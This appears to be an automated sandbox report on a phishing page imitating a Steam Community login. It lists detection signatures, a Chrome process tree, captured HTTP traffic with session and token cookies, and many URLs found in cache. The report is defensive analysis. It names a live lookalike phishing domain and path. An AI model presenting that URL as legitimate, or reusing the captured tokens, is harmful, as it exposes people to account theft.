Edit tour

Windows Analysis Report
https://sneamcomnnumnlty.com/jfh8893040282949023/here/put

Overview

General Information

Sample URL:	https://sneamcomnnumnlty.com/jfh8893040282949023/here/put
Analysis ID:	1526660
Tags:	openphish
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Invalid T&C link found

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 2108 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6480 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=2004,i,16182888411627534459,9118795571554780870,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7164 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://sneamcomnnumnlty.com/jfh8893040282949023/here/put" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2000 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://store.steampowered.com/login/?14__global-header MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5004 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1988,i,12338572558593923070,16571390887266231592,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

HTTP traffic detected: POST /20412b512e08005e505a0e0b5f050401095759500c51015656554607740b5643011d5776134c17 HTTP/1.1Host: sneamcomnnumnlty.comConnection: keep-aliveContent-Length: 82Cache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: nullContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.pl-SinX5vnLRMPSkcsu8OauXJRrbQjjh.NLiq_QV1AR7bCL-H.fJVn0pxppmZwlL3eZwM7sQ9H79b2vJsXnWRHx7SNOK1EQF_PK9K36rmDR_FUhiVlgjrVMRZgD3XFSTyoAxh7IZhsAD_iepiQKKSmlaNqwOVIrUohfIRLgVHdFAzsR-xj09JQT2rMhxm9o1B-2XFKz2j1Pa0cNLQJaPR_ZQuU2GkfLYCK_N66xWO0b3CA8dFAgauCd0p0wApkOnG8gpyEqQ9yeP7NthAoYOMUVOh1owk1FvuArTWZjV-JPXlsmltq.J267FVKRAoMTYoVUqxOATg; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6ImQ4ZTBjOWM0NjI2M2Y2NDU5ZWFiNWU4ZmRmYzUyYzMxIiwic2VydmljZSI6IlN0ZWFtIn0.fSMgYBULqA6j_tCey-BCCEICC-_iPvnqoa5GfrFDwcs; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.q78MNxi5QTdn5i4lijWrLs-DOg7EQVlN.87lDbI6_M3KMAVu0.6Ql_P15JQKaL9qcGO7U39O6Zz-Xu7nmXb0XQdSQrhe96sOknvaVpjDaAsejCMn6qP7hEofy203MLghwN0wWtAtek.M0-VEhh8wn4eEGVZiCFs8g

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 06 Oct 2024 12:08:24 GMTContent-Type: application/json; charset=utf-8Transfer-Encoding: chunkedConnection: closeCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originEtag: W/"41-0AeMVzV1pApYTMktTMxeiuYqqUg"Origin-Agent-Cluster: ?1Referrer-Policy: no-referrerStrict-Transport-Security: max-age=15552000; includeSubDomainsVary: Accept-EncodingX-Content-Type-Options: nosniffX-Dns-Prefetch-Control: offX-Download-Options: noopenX-Frame-Options: SAMEORIGINX-Permitted-Cross-Domain-Policies: noneX-Xss-Protection: 0Cache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GXm3Z2u9OX48XvtdVcGZUJ8V4uxwbrgSOmzzO3JKWSuZZirJzCyp3u%2BuHxmegxxhRSenosDiXgxKCQc0osM20UAj%2Fglzmdf4bWx2uBjiI4WXDdzYgDcUDu7jixG2ZcuSKfKi%2Fu5o7A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ce5896188237cb1-EWR

Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/accordion/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/autocomplete/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/blind-effect/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/bounce-effect/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/button/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/category/effects-core/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/category/ui-core/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/clip-effect/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/datepicker/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/dialog/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/draggable/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/drop-effect/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/droppable/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/explode-effect/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/fade-effect/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/fold-effect/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/highlight-effect/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/jQuery.widget/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/menu/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/mouse/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/position/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/progressbar/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/puff-effect/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/pulsate-effect/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/resizable/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/scale-effect/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/selectable/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/selectmenu
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/shake-effect/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/size-effect/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/slide-effect/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/slider/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/sortable/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/spinner/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/tabs/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/tooltip/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://api.jqueryui.com/transfer-effect/
Source: chromecache_476.2.dr, chromecache_504.2.dr, chromecache_404.2.dr	String found in binary or memory: http://blogs.law.harvard.edu/ivan)
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/11778
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/8235
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/9413
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/9413)
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/9917
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://bugs.jqueryui.com/ticket/7552
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://bugs.jqueryui.com/ticket/9446
Source: chromecache_476.2.dr, chromecache_504.2.dr, chromecache_404.2.dr	String found in binary or memory: http://diveintomark.org/)
Source: chromecache_476.2.dr, chromecache_504.2.dr, chromecache_404.2.dr	String found in binary or memory: http://encytemedia.com/)
Source: chromecache_367.2.dr, chromecache_525.2.dr	String found in binary or memory: http://jedwatson.github.io/classnames
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_326.2.dr	String found in binary or memory: http://jqueryui.com
Source: chromecache_476.2.dr, chromecache_504.2.dr, chromecache_404.2.dr	String found in binary or memory: http://mir.aculo.us)
Source: chromecache_476.2.dr, chromecache_504.2.dr, chromecache_404.2.dr	String found in binary or memory: http://script.aculo.us
Source: chromecache_404.2.dr	String found in binary or memory: http://script.aculo.us/
Source: chromecache_497.2.dr, chromecache_421.2.dr	String found in binary or memory: http://sizzlejs.com/
Source: chromecache_366.2.dr, chromecache_299.2.dr, chromecache_322.2.dr, chromecache_410.2.dr, chromecache_412.2.dr, chromecache_441.2.dr, chromecache_484.2.dr, chromecache_282.2.dr, chromecache_409.2.dr, chromecache_434.2.dr, chromecache_422.2.dr, chromecache_399.2.dr, chromecache_477.2.dr, chromecache_356.2.dr, chromecache_417.2.dr, chromecache_314.2.dr, chromecache_406.2.dr	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/.
Source: chromecache_445.2.dr, chromecache_462.2.dr	String found in binary or memory: http://support.steampowered.com
Source: chromecache_297.2.dr, chromecache_468.2.dr	String found in binary or memory: http://twitter.com/steam
Source: chromecache_346.2.dr, chromecache_420.2.dr	String found in binary or memory: http://www.dota2.com
Source: chromecache_497.2.dr, chromecache_421.2.dr	String found in binary or memory: http://www.prototypejs.org/
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: http://www.robertpenner.com/easing)
Source: chromecache_297.2.dr, chromecache_468.2.dr	String found in binary or memory: http://www.steampowered.com/steamworks/
Source: chromecache_476.2.dr, chromecache_504.2.dr, chromecache_404.2.dr	String found in binary or memory: http://www.tirsen.com)
Source: chromecache_297.2.dr, chromecache_430.2.dr, chromecache_468.2.dr	String found in binary or memory: http://www.valvesoftware.com
Source: chromecache_297.2.dr, chromecache_468.2.dr	String found in binary or memory: http://www.valvesoftware.com/about
Source: chromecache_430.2.dr	String found in binary or memory: http://www.valvesoftware.com/about.html
Source: chromecache_430.2.dr	String found in binary or memory: http://www.valvesoftware.com/jobs.html
Source: chromecache_297.2.dr, chromecache_430.2.dr, chromecache_468.2.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: chromecache_368.2.dr, chromecache_389.2.dr, chromecache_327.2.dr	String found in binary or memory: http://www.youworkforthem.com/designer/293/niramekko
Source: chromecache_368.2.dr, chromecache_389.2.dr, chromecache_327.2.dr	String found in binary or memory: http://www.youworkforthem.com/font-license
Source: chromecache_368.2.dr, chromecache_389.2.dr, chromecache_327.2.dr	String found in binary or memory: http://www.youworkforthem.com/product.php?sku=T2982
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=47182
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=561664
Source: chromecache_320.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/steam/clusters/about_i18n_assets/about_i18n_assets_0/wallet_card_
Source: chromecache_430.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/2429640/2f68e286764ecc7774825d4
Source: chromecache_430.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/570/0bbb630d63262dd66d2fdd0f7d3
Source: chromecache_430.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/578080/609f27278aa70697c13bf99f
Source: chromecache_430.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/730/8dbc71957312bbd3baea65848b5
Source: chromecache_313.2.dr, chromecache_431.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/promo/summer2020/tiling_orange.png?v=2
Source: chromecache_513.2.dr	String found in binary or memory: https://cdn.jsdelivr.net/npm/react
Source: chromecache_513.2.dr	String found in binary or memory: https://cdn.jsdelivr.net/npm/react-dom
Source: chromecache_320.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://checkout.steampowered.com/checkout/submitproofofpurchase
Source: chromecache_303.2.dr, chromecache_396.2.dr, chromecache_408.2.dr, chromecache_526.2.dr	String found in binary or memory: https://checkout.steampowered.com/parental/ajaxlock
Source: chromecache_333.2.dr, chromecache_307.2.dr, chromecache_478.2.dr	String found in binary or memory: https://cloud.google.com/contact
Source: chromecache_333.2.dr, chromecache_307.2.dr, chromecache_478.2.dr	String found in binary or memory: https://cloud.google.com/recaptcha-enterprise/billing-information
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: https://code.google.com/p/maashaack/source/browse/packages/graphics/trunk/src/graphics/colors/HUE2RG
Source: chromecache_320.2.dr	String found in binary or memory: https://code.jquery.com/ui/1.11.3/jquery-ui.js
Source: chromecache_303.2.dr, chromecache_396.2.dr, chromecache_446.2.dr, chromecache_408.2.dr, chromecache_338.2.dr, chromecache_526.2.dr	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: chromecache_463.2.dr, chromecache_361.2.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/login/throbber.gif
Source: chromecache_367.2.dr, chromecache_525.2.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: chromecache_367.2.dr, chromecache_525.2.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: chromecache_367.2.dr, chromecache_525.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: chromecache_432.2.dr, chromecache_499.2.dr	String found in binary or memory: https://developer.mozilla.org/en/JavaScript_typed_arrays/ArrayBuffer
Source: chromecache_432.2.dr, chromecache_499.2.dr	String found in binary or memory: https://developer.mozilla.org/en/JavaScript_typed_arrays/Uint8Array
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://developers.google.com/analytics/devguides/collection/analyticsjs/single-page-applications
Source: chromecache_333.2.dr, chromecache_307.2.dr, chromecache_478.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca
Source: chromecache_333.2.dr, chromecache_307.2.dr, chromecache_478.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#localhost_support
Source: chromecache_333.2.dr, chromecache_307.2.dr, chromecache_478.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que
Source: chromecache_286.2.dr	String found in binary or memory: https://fonts.cdnfonts.com/s/61286/MotivaSansBold.woff.woff)
Source: chromecache_286.2.dr	String found in binary or memory: https://fonts.cdnfonts.com/s/61286/MotivaSansExtraBold.woff)
Source: chromecache_286.2.dr	String found in binary or memory: https://fonts.cdnfonts.com/s/61286/MotivaSansMedium.woff.woff)
Source: chromecache_286.2.dr	String found in binary or memory: https://fonts.cdnfonts.com/s/61286/MotivaSansRegular.woff.woff)
Source: chromecache_494.2.dr, chromecache_326.2.dr	String found in binary or memory: https://github.com/jquery/jquery-color
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/bg/
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/cs/
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/da/
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/de/
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/el/
Source: chromecache_430.2.dr, chromecache_468.2.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: chromecache_297.2.dr, chromecache_468.2.dr	String found in binary or memory: https://help.steampowered.com/en/?snr=1_44_44_
Source: chromecache_303.2.dr, chromecache_446.2.dr, chromecache_408.2.dr, chromecache_338.2.dr	String found in binary or memory: https://help.steampowered.com/en/wizard/HelpWithLimitedAccount
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/es-419/
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/es/
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/fi/
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/fr/
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/hu/
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/id/
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/it/
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/ja/
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/ko/
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/nl/
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/no/
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/pl/
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/pt-br/
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/pt/
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/public/css/help.css?v=Oj5GobEHmQBs
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/public/images/footerLogo_valve_new.png
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/css/buttons.css?v=JANZnwhiqvxS
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/css/motiva_sans.css?v=zaLmG4UPg8fx
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/css/shared_global.css?v=g5jYek09HZX0
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/css/shared_responsive.css?v=exm1WeGiLGq1
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/css/store_game_shared.css?v=asqYjidEi-mm
Source: chromecache_327.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/fonts/MotivaSans-Light.ttf?v=4.015
Source: chromecache_327.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015
Source: chromecache_336.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/buttons/icon_double_arrows.png
Source: chromecache_336.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/buttons/icons_16.png?v=5);
Source: chromecache_336.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/buttons/icons_18.png?v=3);
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/header/logo_steam.svg?t=962016
Source: chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/login/throbber.gif
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/responsive/header_logo.png
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/responsive/header_menu_hamburger.png
Source: chromecache_274.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/responsive/local_menu_hamburger.png
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/responsive/logo_valve_footer.png
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/responsive/steam_share_image.jpg
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/ro/
Source: chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/
Source: chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru//wizard/HelpWithPurchase
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/login
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/ru/login/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/login/getmenuactions/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/login/getrsakey/
Source: chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/login/logout/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/login/rendercaptcha/?gid=
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/login/setlanguage/
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/javascript/base64-binary.js?v=RSKiJSIiCI4Y
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/javascript/help.js?v=EvTxp2gPAIRv
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/shared/javascript/dselect.js?v=sjouo3-33Gox
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/shared/javascript/jquery-1.8.3.min.js?v=.TZ2NKhB-nliU
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/shared/javascript/legacy_web/main.js?v=uR8sIBCNvNhG
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/shared/javascript/shared_global.js?v=nKtkrnOZUY5B
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/shared/javascript/shared_responsive_adapter.js?v=HxDIkB5FHAo
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/shared/javascript/shipping.js?v=duTHCld2DeXb
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryBindRelated
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryChangeEmail/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryChangePassword/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryChangePhone/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryConfirmChangeEmail/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryConfirmChangePhone/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryGetNextStep
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryResetPhoneNumber/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryResetTwoFactor/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryUpdatedPhoneChina/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryVerifyPassword/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxCancelAccountDeletion/
Source: chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxCancelHelpRequest/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxCancelPendingPurchase/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxCancelSteamChinaAccessDeletion/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxCheckPasswordAvailable/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxGiftRefundRequestForm
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxHardwareCreateReplacementRMA
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxHardwareCreateReturn
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxMarkGiftRefundable/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxPackagePurchaseReceipt/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxRefundRequestConfirmation
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxRefundRequestForm
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxSearchResults/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxSendAccountRecoveryCode
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxSubmitRefundRequest/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxUpdateShippingAddress
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxVerifyAccountRecoveryCode/
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxVerifySerialNumber
Source: chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxVerifyShippingAddress
Source: chromecache_290.2.dr, chromecache_506.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/HelpDeleteAccountRequest
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/HelpWithAccount
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/HelpWithCommunity
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/HelpWithEcon
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/HelpWithGame
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/HelpWithGame/?appid=2429640
Source: chromecache_430.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/HelpWithGame/?appid=570
